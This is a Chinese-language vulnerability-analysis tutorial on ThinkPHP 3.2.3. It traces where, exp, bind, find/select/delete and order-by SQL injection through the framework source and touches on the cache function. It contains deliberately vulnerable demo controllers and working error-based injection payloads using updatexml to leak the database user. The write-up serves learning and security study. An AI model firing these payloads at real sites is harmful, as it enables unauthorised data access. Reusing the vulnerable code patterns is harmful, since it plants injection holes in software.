ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,可以支持Windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。
网上关于ThinkPHP的漏洞分析文章有很多,本文是作者在学习ThinkPHP3.2.3漏洞分析过程中的一次完整的记录,非常适合初学者!
where注入
在控制器中,写个demo,利用字符串方式作为where传参时存在注入。
|
1
|
public function getuser(){<br> $user = M('User')->where('id='.I('id'))->find();<br> dump($user);<br>} |
在变量user地方进行断点,PHPSTROM F7进入,I方法获取传入的参数。
|
1
|
switch(strtolower($method)) {<br> case 'get' : <br> $input =& $_GET;<br> break;<br> case 'post' : <br> $input =& $_POST;<br> break;<br> case 'put' : <br> if(is_null($_PUT)){<br> parse_str(file_get_contents('php://input'), $_PUT);<br> }<br> $input = $_PUT; <br> break;<br> case 'param' :<br> switch($_SERVER['REQUEST_METHOD']) {<br> case 'POST':<br> $input = $_POST;<br> break;<br> case 'PUT':<br> if(is_null($_PUT)){<br> parse_str(file_get_contents('php://input'), $_PUT);<br> }<br> $input = $_PUT;<br> break;<br> default:<br> $input = $_GET;<br> }<br> break;<br> ...... |
重点看过滤函数
先利用htmlspecialchars函数过滤参数,在第402行,利用think_filter函数过滤常规sql函数。
|
1
|
function think_filter(&$value){<br> // TODO 其他安全过滤<br><br> // 过滤查询特殊字符<br> if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){<br> $value .= ' ';<br> }<br>} |
在where方法中,将$where的值放入到options[“where”]数组中。
继续跟进查看find方法,第748行。
|
1
|
$options = $this->_parseOptions($options); |
在数组$options中增加
‘table’=>’tp_user’,’model’=>’User’,随后F7跟进select方法。
|
1
|
public function select($options=array()) {<br> $this->model = $options['model'];<br> $this->parseBind(!empty($options['bind'])?$options['bind']:array());<br> $sql = $this->buildSelectSql($options);<br> $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);<br> return $result;<br>} |
跟进buildSelectSql方法,继续在跟进parseSql方法,这里可以看到生成完整的sql语句。
这里主要查看parseWhere方法
跟进parseThinkWhere方法
|
1
|
protected function parseThinkWhere($key,$val) {<br> $whereStr = '';<br> switch($key) {<br> case '_string':<br> // 字符串模式查询条件<br> $whereStr = $val;<br> break;<br> case '_complex':<br> // 复合查询条件<br> $whereStr = substr($this->parseWhere($val),6);<br> break; |
$key为_string,所以$whereStr为传入的参数的值,最后parserWhere方法返回(id=1p),所以最终payload为:
|
1
|
1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+ |
exp注入
漏洞demo,这里使用全局数组进行传参(不要用I方法),漏洞才能生效。
|
1
|
public function getuser(){<br> $User = D('User');<br> $map = array('id' => $_GET['id']);<br> $user = $User->where($map)->find();<br> dump($user);<br>} |
直接在$user进行断点,F7跟进,跳过where方法,跟进find->select->buildSelectSql->parseSql->parseWhere
跟进parseWhereItem方法,此时参数$val为一个数组,{‘exp’,‘sql注入exp’}
此时当$exp满足exp时,将参数和值就行拼接,所以最终paylaod为:
|
1
|
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+ |
上面至于为什么不能用I方法,原因是在过滤函数think_filter中能匹配到exp字符,所以在exp字符后面加了一个空格,导致在parseWhereItem方法中无法等于exp。
|
1
|
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)) |
bind注入
漏洞demo
|
1
|
public function getuser(){<br> $data['id'] = I('id');<br> $uname['username'] = I('username');<br> $user = M('User')->where($data)->save($uname);<br> dump($user);<br>} |
F8跟进save方法
生成sql语句在update方法中:
|
1
|
public function update($data,$options) {<br> $this->model = $options['model'];<br> $this->parseBind(!empty($options['bind'])?$options['bind']:array());<br> $table = $this->parseTable($options['table']);<br> $sql = 'UPDATE ' . $table . $this->parseSet($data);<br> if(strpos($table,',')){// 多表更新支持JOIN操作<br> $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');<br> }<br> $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');<br> if(!strpos($table,',')){<br> // 单表更新支持order和lmit<br> $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')<br> .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');<br> }<br> $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');<br> return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);<br> } |
在parseSet方法中,可以将传入的参数替换成:0。
在bindParam方法中,$this->bind属性返回array(‘:0’=>参数值)。
|
1
|
protected function bindParam($name,$value){<br> $this->bind[':'.$name] = $value;<br>} |
继续跟进parseWhere->parseWhereItem方法,当exp为bind时,就会在参数值前面加个冒号(:)。
由于在sql语句中有冒号,继续跟进excute方法,这里将:0替换成了第二个参数的值。
所以最终的payload为:
|
1
|
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing |
find/select/delete注入
先分析find注入,在控制器中写个漏洞demo。
|
1
|
public function getuser(){<br> $user = M('User')->find(I('id'));<br> dump($user);<br>} |
当传入id[where]=1p时候,在user进行断点,F7跟进find->_parseOptions方法:
$options[‘where’]为字符串,导致不能执行_parseType方法转化数据,进行跟进select->buildSelectSql->parseSql->parseWhere方法,传入的$where为字符串,直接执行了if语句。
|
1
|
protected function parseWhere($where) {<br> $whereStr = '';<br> if(is_string($where)) {<br> // 直接使用字符串条件<br> $whereStr = $where;<br> ......<br> }<br> return empty($whereStr)?'':' WHERE '.$whereStr; |
当传入id=1p,就不能进行注入了,具体原因在find->_parseOptions->_parseType方法,将传入的参数进行了强转化为整形。
所以,payload为:
|
1
|
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1) |
select和delete原理同find方法一样,只是delete方法多增加了一个判断是否为空。
|
1
|
if(empty($options['where'])){<br> // 如果条件为空 不进行删除操作 除非设置 1=1<br> return false;<br> } <br> if(is_array($options['where']) && isset($options['where'][$pk])){<br> $pkValue = $options['where'][$pk];<br> }<br><br> if(false === $this->_before_delete($options)) {<br> return false;<br> } |
order by注入
先在控制器中写个漏洞demo
|
1
|
public function user(){<br> $data['username'] = array('eq','admin');<br> $user = M('User')->where($data)->order(I('order'))->find();<br> dump($user);<br>} |
在user变量处断点,F7跟进,find->select->buildSelectSql->parseSql方法。
|
1
|
$this->parseOrder(!empty($options['order'])?$options['order']:''), |
当$options[‘order’]参数参在时,跟进parseOrder方法。
当不为数组时,直接返回order by + 注入pyload,所以注入payload为:
|
1
|
order=id and(updatexml(1,concat(0x7e,(select user())),0)) |
缓存漏洞
在ThinkPHP3.2中,缓存函数有F方法和S方法,两个方法有什么区别呢,官方介绍如下:
F方法:相当于PHP自带的file_put_content和file_get_content函数,没有太多存在时间的概念,是文件存储数据的方式。常用于文件配置。
S方法:文件缓存,有生命时长,时间到期后缓存内容会得到更新。常用于单页面data缓存。
这里F方法就不介绍了,直接看S方法。
|
1
|
public function test(){<br> S('name',I('test'));<br>} |
跟进查看S方法
set方法写入缓存
跟进filename方法,此方法获取写入文件的路径,保存在../Application/Runtime/Temp目录下
|
1
|
private function filename($name) {<br> $name = md5(C('DATA_CACHE_KEY').$name);<br> if(C('DATA_CACHE_SUBDIR')) {<br> // 使用子目录<br> $dir ='';<br> for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {<br> $dir .= $name{$i}.'/';<br> }<br> if(!is_dir($this->options['temp'].$dir)) {<br> mkdir($this->options['temp'].$dir,0755,true);<br> }<br> $filename = $dir.$this->options['prefix'].$name.'.php';<br> }else{<br> $filename = $this->options['prefix'].$name.'.php';<br> }<br> return $this->options['temp'].$filename;<br> } |
并将S传入的name进行md5值作为文件名,最终通过file_put_contents函数写入文件。
以上是今天分享的内容,大家看懂了吗?记得要实际动手练习一下,才能加深印象哦~





















